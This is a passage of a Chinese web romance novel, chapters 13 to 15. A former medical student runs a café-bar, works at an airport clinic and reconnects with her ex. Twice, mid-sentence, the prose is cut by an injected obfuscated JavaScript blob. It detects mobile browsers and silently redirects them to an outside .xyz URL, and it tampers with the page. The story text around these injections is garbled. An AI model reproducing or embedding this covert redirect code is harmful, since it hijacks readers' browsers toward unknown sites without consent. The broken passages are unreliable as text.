那段时间她迷上做手工,就是十字绣一类,本来以为不会很难,解剖做得,缝合也会,拿针线似乎不成问题,但偏偏她就是做不好,总是绣得歪歪扭扭的。 他劝她算了吧,术业有专攻,这明显不是我们的舒适区,她很要强的表示,不可能,只要我努力,就一定会练好的。 那时候的齐眉要强又努力,人生格言是人定胜天,有时候会开玩笑地说:“强扭的瓜没吃过怎么知道不甜,我偏要扭。” 天知道他有多喜欢她说这话时眼睛里的光芒,亮晶晶的,跳动着倔强和认真。 他便以为她说的是这事,忍俊不禁地点头。 但过了两周,他值班的时候,她突然给他带了一碗鸡骨草煲猪横脷,用保温桶装着送到办公室来的,盯着他喝,满眼期待地问他味道怎么样。 很好的,放了胡萝卜和无花果,清甜味中和了鸡骨草本身会有的微微甘苦,他喝完一碗点点头,夸她说跟在家的味道一样。 “那当然了,汤料的发货地就是容城。”她得意地道。 他这才反应过来,原来她那次说的要做成之后再告诉他的事,其实是指煮汤。 可是中间已经隔了两周,也不知道那两周里她到底尝试了多少次。 而他居然也忘了问,只顾着嘱咐她早点复习准备期末考,等暑假的时候给她安排到一附院见习。 如今想来确实不太对,可当时她竟然一点都没有不高兴,只一脸乖巧地应好。 下次有机会问问吧。江问舟在连廊尽头拐了个弯,进入电梯间。 13.第十三章 “没放胡萝卜或者无花果都没关系的,鸡骨草有一点点苦而已,又不是小孩,不会连这点苦都吃不了吧?” 正午时分,齐眉坐在No.12 Diner & Lounge的吧台边上,看着敞开的出餐窗口,笑眯眯的冲里面一个穿着红色针织短衫、顶着泡面头的背影说话。 里面的人扭头,露出一张带着野性美的明艳脸孔,笑嘻嘻道:“我是怕你吃不了苦,我从小就吃苦,不带怕的。” 齐眉听了失笑着叹口气,“你非要这么说的话,我也没办法,回头我要跟阳哥说说,让他对你更好一点。” 对方很明显的被她噎了一下,给她一个白眼,转过头去。 过了会儿又转头:“幸好你告诉我猪横脷是猪脾,不然我就买错了,我还以为是胰脏。” “好像也有这个说法,不懂,干妈教我是猪脾。”齐眉回答道,想起来以前的事,“第一次自己煮还是在大学,发现是苦的,以为是做错了,都不敢给别人吃,觉得反正吃不死,干脆都自己喝了。” “后来呢?”里面的人回头冲她哈哈笑了两声。 “后来就上网查啊,哦,原来可以放点蜜枣或者无花果,就可以中和掉这种苦味了。”齐眉摸摸额头,叹口气,“第二天下课又去菜市场,没买到,央求老板明天给我留一副,来回试了好几次配比,费了两周才觉得煮出了最合适的味道。” 要刚刚好的清甜,不能过度,否则会腻。 听的人咋舌:“要求这么高?” 齐眉理直气壮:“当然,我是要给喜欢的人喝的!” 对方惊呼:“这谁啊,也太命好了吧!” 齐眉嘻嘻笑着,托住腮笑吟吟地往里看。 和她说话的人叫任清葭,是舅舅陆近成的儿子陆阳的未婚妻。 她原来叫任希娣,上面已经有一个姐姐,她是老二,父母为她取这个名字的寓意显而易见。 三岁那年弟弟出生之后,她就这样在父母的忽视中慢慢长大了,直到九岁,才和弟弟一起读的一年级。 高考前夕,弟弟把女朋友的肚子搞大了,女方家里要求结婚,要三十万彩礼,父母一辈子务农,一年的收入供全家花销之后剩不下什么,三十万委实是一笔巨款。 他们拿不出来,又不愿意放弃未出世的孙子,就把主意打到两个女儿身上,决定把她们嫁出去,这不就有彩礼了吗? 大姐当时已经职高毕业,在县里一家小厂子做财务,从小到大被洗脑,家里一说就松口,只有她,在父母领着一个比她大十几岁的光棍佬来看过她一次以后,拿着身份证连夜逃出小村庄。 此后一路南下,几经辗转周折,终于在容城落脚,为了谋生做过很多工作,在饭馆当传菜员,去超市当理货员,也送过外卖帮小猫小狗洗过澡,后来在KTV兼职时,因为长得漂亮被男客人骚扰,陆阳帮了她一把,俩人就这么认识了。 后来还把她介绍到自家名下的场子上班,避免被骚扰的事再次发生,他们刚在一起,家里人就找了过来,她用一笔钱换到了自己的户口。 陆阳陪她回老家转户口,顺便改名字,本来想叫任清,清嘛,清楚明白,她希望自己一辈子都能做个拎得清的人。 陆阳说,加一个字吧,蒹葭的葭,初生的芦苇,朝气蓬勃,希望她能一直有顽强蓬勃的生命力。 再后来陆阳又送她去学西点,据她说是闲聊的时候说到的,她感慨自己高中毕业证都没拿到,虽然本来也考不上什么好大学,但怎么也不应该是高中毕业证都没有的啊。 陆阳就问她还想不想上学,要不找老师补习考个成人高考?她说算了,本来学习就不咋地,年纪大了更学不进,倒是可以考虑找时间去学一门手艺,陆阳说要不去学做西点,学成后可以独立开店,或者自家场子里加几道甜品也不错。 就这么去学了,学完没过多久,恰好就是齐眉从申城回来,陆阳的父亲陆近成上门履约,将用她父母托付的财产交给她,是用门面房拆迁款买下的一幢临街两层铺面。 陪他上门的就是陆阳,说既然她管自己叫舅舅,那么陆阳就是她表哥了。 “有事你就让你哥去办,要帮忙尽管开口,他现在已经基本接手我的生意,资源啊人手啊,都有的,你要重新装修的话,让他给你介绍装修公司,坑你的话我帮你揍他。” 陆阳赶紧说那肯定不会,他可不做坑自己人的事,那样以后他手头困难要周转,会没人借钱给他的,把齐眉逗得一阵好笑。 总之就这么认识了,转天一起吃饭,顺便认识他的未婚妻,彼此都看在陆家父子俩的份上,待对方相当客气友善。 但一顿饭吃完,双方发现跟对方还挺聊得来,遂欣然交换联系方式。 等之前租用铺面的租户清场,齐眉也办完过户手续拿到钥匙了,就和任清葭约着一起去看看。 铺面在思齐路前段,往前走没多远就是路口,沿着大马路走不多远就是容城音乐学院,离着容江边也不算远,附近商业非常繁华。 当时孙茂芸和江眀琮的想法,是让她把铺面租出去,一年十来万肯定有,是个很稳定的收入,毕竟以她的专业,肯定是去医院上班的。 但是没想到齐眉拒绝了,她说她不考虑去医院上班,起初孙茂芸还没听明白,哦哦两声:“还要去读博是吧?你之前讲过的,要申请博士,那更好了,有租收的话,手头也宽松点。” 江眀琮闻言一脸恍然大悟地点头:“哦对,你还没读完书呢,现在说上班还早了点。” 又感慨说现在的学历贬值,以前他们刚参加工作那会儿,普通大学生都很宝贵,不像现在,一个招牌砸下来,十个有八个是本科生,还有两个是研究生。 齐眉听着他们说的话,垂下眼,不敢和他们对视。 好半天才硬着头皮把自己的决定说出来:“我也不去读博,我是……我是不想当医生了。” 这话说完,周围空气一片沉默,她的脖颈在这沉默里往下弯了又弯。 但还努力挺着背,不让自己退缩。 咬着牙等了半天,才听到孙茂芸有些小心地问她:“西西,是不是在学校受欺负啦?” 她永远记得自己当时的心情,难过和愧疚交错在一起,复杂极了。 她很想干脆把所有事情都告诉他们,可是话到嘴边又实在说不出口,因为牵扯到太多。 如果告诉他们,自己被方仕平骚扰,以他们的性格,是绝对会找他要说法的,可她当时已经和方仕平谈了条件——他不再卡着江问舟的进修不放,她闭嘴。 一旦临时反悔,首先她不确定会不会影响江问舟以后在科里的处境,尽管她一意孤行地和他分开,但确确实实希望他能过得更好。 其次她和江问舟的关系会暴露在江眀琮和孙茂芸面前,她不知道他们会是什么反应,但她很怕很怕,很怕从他们脸上看到失望的表情。 从八岁开始,他们代替父母养大了她,供书教学,衣食住行,别人有的她一点都不少,养得甚至比江问舟还精细,她特别特别感激他们,将他们当成亲生父母,所以很不愿意,甚至是害怕,他们对自己感到失望。 她很努力学习,考第一名,漂亮乖巧,从不让家里操心,就是因为知道大人都喜欢这样的小孩。 最喜欢听到干爸干妈跟别人夸她,我们家西西怎么样怎么样,从来不让我们操心,那样骄傲欣慰的语气,她觉得是对她的表扬。 但她同时又很清楚的知道,孙茂芸和江眀琮更加感到骄傲的,其实是江问舟。 他们从来不对别人夸江问舟多好,每次都说哎呀年轻人还嫩着呢,不比你们家谁谁,平时连个电话都懒得打,也不爱回家,孩子养大了就飞喽。 可是他们的语气,和眉眼间的笑意,无一不在表达自己的满意,不常回家又怎么样呢,有出息的孩子就没几个是守在父母身边承欢膝下的。 他们看到社会新闻里说哪儿有医闹,哪儿的医生猝死,都会很担心,要给他们打电话,嘱咐他们出入一定要小心,要好好休息,买很多补品寄到申城。 但绝口不提要不你们换一份工作吧,回来吧,这样的话。 因为他们知道,这是江问舟想做的事,这是他的人生,他们只会默默支持他。 他就像是他们最出色最成功的作品,他们期盼他未来能取得更大的成就,期盼他未来家庭美满。 孙茂芸甚至不止一次,在看电视剧和社会新闻里的家长里短时表示:“以后咱们家孩子,一定要擦亮眼睛找对象,尤其是舟舟,娶妻最重要是大度,拎得清,容不得小姑子的可不行。” 齐眉不知道如果他们知道了自己和江问舟的事,会是什么态度。 是生气?还是失望? 是觉得她破坏了这幅作品,让他们蒙羞,妨碍江问舟的未来,还是觉得她明明已经得到了够多,却还是不知足,贪得无厌到连这个家的体面都不顾。 收养战友遗孤,待她视如己出,最后却成了童养媳,不知情的外人会怎么议论呢?会不会说孙茂芸和江眀琮吃绝户? 齐眉只要想想这些可能出现的情景,就觉得害怕,甚至后悔,当初不该喜欢上江问舟的。 于是面对孙茂芸和江眀琮的追问,她只一味沉默摇头,多问几次,就露出被逼急的表情,说:“就是不喜欢了,本来也没多想当医生,以前觉得当医生不错,但上临床以后,我觉得给是太累了,压力太大,我觉得我承受不了。” 孙茂芸很不解:“高考的时候不起特别坚定的吗?一定要考医学院,说要像你哥那样,以后当个医生,怎么……怎么着就不喜欢了?” 现在的年轻人,就算是人生大事,喜好也变这么快的吗? 孙茂芸和江眀琮劝她再仔细想想,她却一再摇头,不管他们怎么做思想工作,鼓励她坚持下去,她都不愿意。 最后只能无奈地问:“那你以后打算怎么办呢?可不能不上班。” 这回她答应了:“我仔细想想,实在没有想做的事,我就复习考试。” 两口子松口气,那也行吧,考个编制,有个稳定工作,等以后要结婚,也是一个很大的加分项。 见干爸干妈被自己稳住了,齐眉总算松口气。 接下来几天,她每天都会出去溜达溜达,主要是去散心,任清葭听说以后,就问她:“你要不要来店里玩玩?” 她那会儿还没去过酒吧呢,傻乎乎地问:“白天酒吧也营业吗?” “不营业啊,但可以来玩,我教你调酒呗。”任清葭笑嘻嘻地道,“玩到晚上也没事吧?自己家里的店,肯定比外头安全,叫叔叔阿姨放心啦,到时候让陆阳送你回去。” 于是她就去玩了,发现还挺有意思的,各种颜色的基 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15569711|171352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 酒和饮品混在一起,就会变幻出不同的风味,有的酸有的甜,有的奶味明显,有的果味浓郁,她觉得自己像是推开了一扇新的实验大门,一发不可收拾。 她兴致勃勃玩了快一个月还是意犹未尽,也就忽略了孙茂芸和江眀琮几次三番的欲言又止,和担忧的眼神。 这时任清葭正跟陆阳商量,是另外开一家店,她自己管理,锻炼一下能力,还是回到现在的店里继续干以前的活,老板娘嘛,在这儿守一下场子,当吉祥物就行。 商量的时候齐眉刚好过来想让他们尝尝自己调的酒,听到任清葭说要找铺面,一时冲动,问道:“我那儿还有个铺面呢,你们需要吗?” 俩人愣了一下,正犹豫呢,就听齐眉接着问:“或者,你们觉得我也在那儿也开个店怎么样?比如……酒吧?” 说着一指周围,光线迷离的店里正放着轻柔的爵士乐,客人们窃窃私语,还有熟客正在吧台前点酒,和调酒师闲聊,兴高采烈地分享着见闻。 陆阳和任清葭都一愣,惊讶地问她怎么会突然有这种想法。 齐眉说:“突然想试试,反正铺面就在那里,不行就再转租出去呗。” 任清葭想了想,说:“你先回去和叔叔阿姨商量一下,如果他们同意,我们合伙好了。” 这一商量,家里就炸了,孙茂芸和江眀琮无论如何都想不到,她竟然要去做生意。 这年头什么环境啊,毫无经验的人敢去做生意,就是去送韭菜,再说了,“你不是说要考试的吗?” “没有想做的事才考试嘛,我现在有想做的事了啊。”齐眉小声辩解。 她明明很担心很忐忑,但又那么坚定。 似乎还很笃定只要自己坚持,最后一定会成功——后来孙茂芸说,她其实就是仗着他们舍不得让她失望。 江眀琮问清楚她的突发奇想是怎么来的以后,将陆近成叫了过来,三个大人在书房里讨论了很久,谈完之后,陆近成将齐眉单独叫了过去。 “你既然叫我舅舅,那我就得管你,你跟我说说,是不是真的想做这件事?” 见她点点头,陆近成问她:“那有没有想过具体怎么做?” “那没有。”齐眉实话实说,“我就是想试试,我才二十五岁,完全可以大胆一点,三年怎么样?三年之后我才二十八岁,考试应该来得及。” “失败也不怕?”陆近成问她。 她点点头,声音沉静:“我想来想去,都觉得自己其实并不害怕开始新生活,沉没成本不参与重大决策嘛。” 陆近成看了她好半天,点点头,回头对孙茂芸和江眀琮说:“让她试试吧,我给她找个老师,亏了算我的,还有清葭和她作伴呢,就当是多份生活经验,一般人还没机会。” 江眀琮&孙茂芸:“……”妈的,没想到是西西的帮手:) 总之,在陆近成的支持和帮助下,这家叫No.12 Diner & Lounge,装修一派美式复古,白天是咖啡店晚上是清吧的小店,在年尾开业了。 店里白天是任清葭的主场,雇了咖啡师,她负责甜品,晚上齐眉会过来,一直从六点忙到凌晨两点,给她帮忙的主调田乐是陆阳场子里一位调酒师介绍的,副调佟林是陆近成的干儿子,不仅能调酒,还能管事。 放佟林在这儿,帮忙是其次,更重要的是镇场,告诉某些人,这儿是他陆近成罩着的地盘——江眀琮跟齐眉解释了一番,她才意识到,她舅舅的身份并不像她以为的是个单纯的生意人,他是人称成叔的。 又另外找了个厨师,这就开业了。 开业的时候陆近成和陆阳叫了好些朋友来帮衬,加上被开业活动吸引来的客人,场面还挺热闹,等过了三个月,生意稳定了,孙茂芸和江眀琮还来看了几次。 就这么过了差不多半年,第二年春天,淡季还没过,孙茂芸和江眀琮再次跟她提起工作的事,说:“你哥给出了个主意,问你想不想去民航医院,应该是安排在机场的医务点,一个月工作十天,也不影响你照顾店里,收入稳定,就当是找个地方帮忙交社保,你觉得呢?” 江问舟建议的吗?她有些恍惚,说自己要想想。 这回没想多久,她很快就答应了,夫妻俩总算松了口气。 距离那时,已经过了整整两年,齐眉从回忆里回过神,失笑着摇摇头。 当时为什么会答应呢?大概是想着,如果只有这样他才能觉得安心,那她就做吧。 就当是最后一次,为了他做某件事——尽管这时她已经知道自己以前就是网上说的那种,超绝恋爱脑。 但她很不以为然,那又怎么样,江问舟完全值得她的恋爱脑,她也有因为想要靠近他,变得更好啊。 “叮咚!” 手机响了一下,她低头一看,是工作群发的信息。大概是说今年的职工体检即将开始,定在某日至某日,本院承担机场所有员工的体检工作,任务繁重,所以抽调机场急救的同事回院帮忙,班已经排好,请大家届时准点到岗。 齐眉回了个“收到”,退出群聊框,点进朋友圈。 看见的第一条动态就是江问舟刚发的:【自动拾取又忘记关了,从神内会诊回来,多了一支笔[笑哭]谁的笔,麻烦来心外科一病区护士站自取[拜托]】 齐眉看了不禁莞尔,这是只有医学生才懂的笑点呢。 14.第十四章 “And I want to drive you crazy, love. How can I just let go……”[1] 歌手绵软柔情的嗓音犹如萦绕在耳畔的私语,回荡在No.12 Diner & Lounge光线昏黄暧昧的空气里。 LED灯带发出的暖光照在吧台后面的展示墙上,酒瓶和虹吸壶的玻璃反射着微光,在深色胡桃木的台面上形成琥珀色的光晕,看上去特别有氛围。 越是夜深,店里的氛围越安静,连来点单的客人都会不由自主地放低声音:“麻烦,我还想要一杯盘尼西林。” 主调的田乐听到,没有立刻答应,而是问道:“美女,你已经喝了三杯盘尼西林了,还要继续吗?” 盘尼西林的主要成分是苏格兰威士忌、柠檬汁和蜂蜜糖浆,加入泥煤威士忌取其烟熏风味,又加了鲜姜片,让温暖的辛辣感更加明显。 但威士忌的用量确实比较大,所以对方喝了三杯还要再来第四杯,田乐就有点犹豫要不要给她做了。 连刚给客人送完小食拼盘回来的齐眉也忍不住跟着劝:“喝酒伤身,何况还是烈酒,还是少喝点吧,回头酒劲上头,去了医院多不好看。” 对方哎呀一声,娇俏地扭扭腰,撒娇似的道:“最后一杯嘛!乐乐姐你调的酒好喝,我忍不住啦!” 说着又看向齐眉,噘噘嘴:“老板调的也好喝,就是很难抢到,我今晚才喝了一杯,而且你好不会做生意哦,怎么劝客人不要消费的呀?” 齐眉对女孩子的撒娇一向很免疫,闻言也只一本正经回答道:“因为怕你急性酒精中毒啊。” “好吧。”对方应了一声,沉吟几秒,对着田乐举起一根手指,“我要一杯奶油风味的好不好?最后一杯,真的最后一杯,我保证!” 边说边举起三根手指,抿着唇看着田乐。 齐眉看到她贴着大颗水钻的尖尖指尖,昏黄灯光下看不太清她的脸色,但那眼神雾蒙蒙的,她不由得眉头一挑。 “亚历山大?”田乐问道。 女客人应好,干脆在吧台前坐了下来,托着腮跟齐眉搭话:“老板,你说的那什么急性酒精中毒,是什么样子的呀?” “轻度的时候就是单纯醉酒,面色潮红或者苍白,话多,讲起来不停,眼结膜充血,情绪波动比较大,容易兴奋,特别开心或者突然就哭起来,这是在兴奋期。” 齐眉一边回答,一边仔细观察对方,“然后是共济失调期,会变得动作笨拙,走路不稳当,说话也会变得含糊不清,如果继续摄入酒精,醉酒程度加深,症状也会加重,甚至会昏迷,肝肾等人体重要器官也会受损。” 她说到这里,话音一转:“你是自己来的?” “跟男朋友来的啦。”她往吧台右侧一指,看着靠窗那边的位置,扁扁嘴,嘟囔道,“一来就加班!真是不解风情的木头人!” 说完她往吧台上一趴,沮丧地叹气,嘟囔的声音里藏满了委屈:“吃口肉这么难嗷?我好命苦,我恨他是个木头……” 齐眉一噎,好家伙,我听懂了! 不仅她听懂了,田乐也听懂了,嘴角一抽,有点不知道该不该继续调酒。 半晌,齐眉在她的又一声叹息里清了清嗓子:“那你……要不要演一下算了?喝太多确实不好,对吧?” 对方头一抬,眨眨眼:“……什么、怎么演?” “没有啊,什么演,你听错啦。”齐眉头一歪,也眨眨眼,往吧台边一靠,“你看你都喝多了,有没有觉得脸上身上热热的不舒服?情绪也不稳定,不要再喝了,再喝就要走不稳了,万一走路撞到人多不好,还要同行的人送你回去,照顾你,防止你误吸,会窒息的哦,有生命危险。” “这样啊……”对方眨眨眼,哦哟一声,夹着把声音跟齐眉道谢,还有些调侃地说,“老板你懂这么多啊。” 田乐噗嗤笑了一下,低头将白兰地倒入量杯,再转移到雪克壶里。 齐眉装作没听懂对方的意思,笑眯眯地应道:“我大学学的是临床医学,急性酒精中毒的病人还是见过的。” 这时忽然听到一旁一直没出过声的副调佟林问她:“十二点了,阿眉你还不回去?” 他话音刚落,门口绿植旁边正对着吧台的落地座钟铛铛响了起来。 零点整。 “啊,我下班时间到了。”齐眉声音欢快地道,低头喊在吧台角落里睡大觉的年年,“年年快起来,我们要回去了。” 年年早就醒了,闻言张大嘴巴打个哈欠,甩了两下尾巴,这才慢吞吞地起来。 齐眉刚准备给它戴上牵引绳,后吧台处的出餐窗口就探出一张还带着一点稚气的娃娃脸来。 汪淼笑嘻嘻问道:“年年,你饿不饿啊,我给你煮块鸡胸肉啊?” 这是店里负责厨房晚班的厨师,是当时店里要组员工班子,陆近成和陆阳负责安排人,选到厨师人选时,先是在自家一个场子里挑了个大厨的徒弟,考虑到这边日咖夜酒,晚场也要人,准备再挑一个。 陆近成手下的一个经理就说,以前有个兄弟的老娘走了,他儿子中职正好是学厨的,现在要毕业了,要不要给安排一个工作。 陆近成想起来这个兄弟当时为了女朋友金盆洗手回老家,这十几年也没音信,就问:“他过得怎么样?” “刚回去那会儿过得还行,后来生了孩子,他老爹得了癌症,治病花光了钱,老婆不想跟他一起还债,就离了婚,他自己带着儿子跟老娘一块儿住,没过几年,跑长途的时候出车祸人没了,他老娘前年也查出来癌症,觉得时日无多,就从他以前手机的联系人里找到我电话,给我打了个电话,问我能不能帮忙照顾一下孩子。” 那小孩当时刚初中毕业,成绩不太好,要去读中职,就说让他先去吧,学费这边掏了,等毕业就到容城来,叔伯那么多,怎么也不可能饿死。 陆近成听完点点头:“让他过来看看吧,可以的话先培训一下,西西那儿……我先丑话说在前头,人最关键要靠得住,手艺差点还能学,人品不好那可就废了,我不能让骊姐的女儿受别人的气。” 于是汪淼就这么成了No.12 Diner & Lounge的晚班主厨。 他说完不等齐眉回答,转身就从灶台的锅子里捞出来一块水煮鸡胸肉,探身递给年年。 年年立刻嗷呜一口叼走。 齐眉:“……” 她半晌才叹口气,对娃娃脸说:“别给她吃太多,过段时间体检会不过关的。” “今晚第一口,下次我注意。”对方吐吐舌头,赶紧换话题跟齐眉说,“对了眉姐,店里的火腿快没有了。” “行,我跟浪哥说。”齐眉点点头,浪哥是他们店里负责采购的。 年年还在吃鸡胸肉,它吃东西总是很斯文,齐眉只好等它吃完再给它上牵引绳。 等的时候她打开手机看时间,忽然想起来江问舟中午发的朋友圈,遂好奇打开一看,发现一个回复都没有。 她愣了一下,好一会儿才反应过来,不由得失笑。 现在和以前不一样啦,他的那些同事朋友,她全都没有联系方式,又怎么可能看得到有没有人评论或者点赞呢。 她退出朋友圈,看见年年已经吃完了鸡胸肉,给它戴上牵引绳,和大家道了声后天见,这就收工回去了。 出门前还听到刚才聊天的那位女客人问田乐:“你们老板是不常来店里的吗?” 田乐回答说:“要上班啊,这里只是副业而已。” “哇,那……老板是做什么工作的啊?不会真的是当医生的吧?” “猜对了,奖励你一颗葡萄。” 齐眉听到对方惊呼好酷,不由得摇摇头失笑。 曾几何时,她也这样想过。 第二天如常去上班,九点到岗,和前一班的同事交班,交班本上记录的基本是每天的常规事件,比如几点到几点出去巡检了之类。 一般还会记录突发事件,但昨天很平静,无事发生,所以也就没什么记录,齐眉一边签字,一边跟同事闲聊几句。 同事下班以后,齐眉将急救室的床单换了,紫外线消毒灯开起来之后,关上门出来,刚好和补充完药箱回来的陈羽丹碰个正着。 “眉姐。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15574731|171352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”她把药箱放好,蹭过来好奇兮兮地打量着齐眉。 齐眉问她做什么,她说:“我问你一个问题呗?” 齐眉嗯了声,一面给仪器充上电,一边听她问:“前天来接你下班那个帅哥……是谁啊?” 前天?那就是江问舟了,齐眉刚想回答说是家里人,就听陈羽丹继续道:“肖涵……就是说肠胃不舒服来开药那个,也看见了,当时他脸色就不太好,诶,他是不是在追你啊?” 齐眉闻言心里一顿,话都到了嘴边还临时改口:“哦,你说那个啊,我前男友。” 说完看她一眼,转身往办公桌走,“还有,我跟肖涵什么事也没有,你不谈乱讲。” 陈羽丹的注意力完全被她前一句话吸引,闻言使劲点点头,然后问:“前男友来找你干嘛?” “吃饭。”齐眉淡定敷衍道,拿消毒湿巾擦擦桌子。 陈羽丹一听,更好奇了,连连追问为什么前男友会来找她吃饭,是旧情复燃吗? 齐眉看一眼她眼睛里的好奇神采,笑着叹了口气,摇摇头,语气半是敷衍半是认真:“谁知道呢?” 陈羽丹看出她不想多说,赶紧不再问,正好有头晕的病人来开药,这个话题就这样结束了。 之后就是和平常一样的那些工作,给有需要的旅客下诊断开药,或者情况重点的就建议去医院,下午去警务室帮忙给两个吵架动手的旅客量了血压,都是些琐碎小事,忙起来时间也过得很快。 晚上八点多,医务点里相当安静,陈羽丹正戴着耳机看视频,齐眉看了几篇公众号推送,退出来后点进朋友圈。 没想到看到的第一条动态,又是江问舟发的,简简单单一张猫的照片,一个字也没有。 照片里的金金板鸭趴在沙发上,抬着圆脸,像极了人趴在床上玩手机的姿势,又好像一张金黄色的毛毯,看上去可爱极了。 齐眉犹豫半晌,还是点了个赞。 点个赞而已,不算打扰吧? 可看见这条提醒的江问舟却忍不住眉头一挑,看,就知道什么东西才能召唤到她。 刚揉了一把凑到跟前的猫,手机就响了,来电显示是“爸”。 接起来刚喂了声,就听江眀琮问他:“下班了?” 他嗯了声,一边扯开脖子上的领带,一边问:“您和妈吃饭了吧?” “吃了吃了,我跟你说个事。”江眀琮赶紧进入正题。 江问舟又嗯一声,往旁边一歪,人就倒在沙发上,刚好是金金刚才趴的位置。 江眀琮问:“我有个老朋友,心脏不舒服,想来容城找你看看,你那儿挂号容易么?” “挂谁的?我老师,或者科里几位主任的,不是很容易。”江问舟失笑,“但要是挂我的,那是随便挂。” “那就先看你的呗,反正你看不好你会叫你老师来的。”江眀琮说了句大实话。 江问舟一噎:“……” 无语了一会儿才问:“是什么问题,怎么个不舒服法?” “说是胸闷心悸,一年多两年了,正好要到容城来看看战友,干脆来看看是怎么回事。” 合着看病还是顺带的,江问舟觉得可能也没什么事,就问什么来。 “周末吧,周末你和西西回家来吃饭,你有空么?” 江问舟眨了眨眼,顿了几秒,这才轻轻地嗯了声。 齐眉是在周五晚上才从孙茂芸那儿知道这事的,说是:“你干爸和你妈妈的同学,来容城看病,我和你干爸在家里招待一下他,你也回来一起吃顿饭,见见面,怎么样?” 是母亲的旧友,齐眉没什么拒绝的理由,便答应了,说自己正好今天值班,明天下班就回去。 孙茂芸忙说:“带上年年一起回来。” 说完又嘀咕:“你哥连金金都不留在家里,真是的,他那么忙,哪有时间照顾。” 齐眉失笑,一面安慰她猫是独居动物,不怎么要人陪的,一面又觉得心里有点莫名的感觉,好像哪里怪怪的。 但她没想到,第二天早上下班,接到年年回到家,刚换好衣服,就接到江问舟的电话:“下来,我在你们小区门口。” 15.第十五章 齐眉早上跟接班的同事交完班,就说家里有事,急急忙忙地下了班。 根本没看到和自己擦肩而过的肖涵,倒是陈羽丹见到了,啧啧两声,拿他跟不久前见过的男人相比,忍不住摇摇头。 跟对方那种温和成熟的气质比起来,肖涵就显得青涩太多,跟齐眉站在一起确实有点不协调。 再说了,前任把标准拔得那么高,换了谁都很难再低身俯就吧? 陈羽丹一边嘟囔着什么年少时不能遇上太惊艳的人,一边跟值班医生道别,也下班了。 肖涵站在医务室门口,进也不是,不进也不是,值班的刘医生看见他这局促的模样,露出过来人的微笑:“来找齐眉的吧?” 上次居然没看出来,还以为小伙子真的肠胃不舒服呢,结果是醉翁之意不在酒。 还是年轻好呀。刘医生笑眯眯的,露出个慈爱的笑脸来。 齐眉对身后发生的这一切一无所知,十点过一刻,她的车在宠物店门口停下。 提前接到她信息的店主直接把年年送上了车后座,齐眉道声谢,都来不及和对方寒暄,就踩着油门急急脚走了。 年年把大脑袋从后面伸过来,齐眉一边转着方向盘往小区地下车库开,一边让它坐好。 “我们等下要回爷爷奶奶家哦。” 年年哼唧两声,她又说:“不知道能不能见到你金金姐姐。” 上一次值班的晚上,她在朋友圈看到江问舟发了一张金金的照片,还以为只是偶然,结果没想到这几天每天他都发一张。 大前天是金金在聚精会神地吃罐罐,前天是金金端正地坐在地上仰头用大眼睛看着镜头,昨天是金金抱着钩织的小鱼玩具,还一口咬在鱼尾巴上。 每一张都特别可爱,让人看了心里发软。 她还给陈羽丹看,果不其然听到她的惊呼和好可爱的评价,一时也忘了猫根本不是自己的,忍不住有些得意。 等反应过来,就不好意思地抿抿唇,点了个赞。 点赞这种事,有一就有二,有接下来的无数次,何况第一次点完江问舟也没什么反应,她胆子立刻就大起来,权当是上网冲浪看到可爱猫咪就点个赞。 年年也就见过金金一次,哪里听得懂她说的是谁,只是习惯性地不让她的话落地,刚说完它就继续哼哼两下。 齐眉赶时间,没心情逗它,等回到家一进门,就赶紧去浴室了。 刚洗完澡穿衣服,就听到一阵犬吠从门外传来,她连忙问:“年年,怎么了?” 话音刚落,就听见门外一阵扒拉门的动静,她赶紧开门,一阵手机铃声清晰传入耳中,还是语音通话的那种。 这下不用问怎么了,是小狗在提醒她有电话。 她揉揉年年的大脑袋,急忙去找手机,原以为是干爸干妈要问她什么时候到家,结果一看,是江问舟的。 看到江问舟发来的通话邀请,齐眉愣了一下,竟然有些不知道该不该接。 这一刻心里实实在在是有些慌的,她甚至能清楚地感觉到自己的心跳瞬间加快,甚至后脖颈上隐隐有些冒汗。 天这么热了吗?她心下嘀咕,接着手一抖,电话就接通了。 齐眉:“……”我真不是故意的!!! 下一秒,她都没来得及吭声,就听见江问舟有些冷淡的声音传来:“下来,我在你们小区门口。” 齐眉一愣:“???” 她真的就啊了出声,脱口问道:“为什么?” 江问舟似乎深吸了一口气,才反问她:“家里来客人了,今天要回家吃饭,你知道了么?” 其实也是一句很普通的话,但因为他的语气太过平静,听起来更像是冷淡,甚至是有些不耐烦。 齐眉心里一顿,心里瞬间涌起一股淡淡的委屈:“我当然知道这事,我已经准备出发了,可是你……” 你为什么会出现在这里? “下夜班,妈让我顺路来接你,一起回去。”江问舟立刻解释道。 不知道是不是她的错觉,齐眉觉得他的语气好像好了点。 她哦了声,然后说:“能不能……再等二十分钟?或者十五分钟也行,我还、还有点事……或者你先回去吧,我等下自己回去就好。” 说完她停下来,有些忐忑地咬住下唇。 手机那头安静了一会儿,齐眉都快觉得有点尴尬了,才听到他说了一句:“没事,你先化妆。” 齐眉:“……”你知道的太多了! 她讪讪地应声好,赶紧把电话挂断了,脸上一阵火辣。 江问舟倒是适应良好,被挂了电话也只是耸耸肩,一边喝着咖啡,一边打开家里的摄像头,看看猫在做什么。 正好看见金金凑到摄像头面前做歪头杀,不由得忍俊不禁。 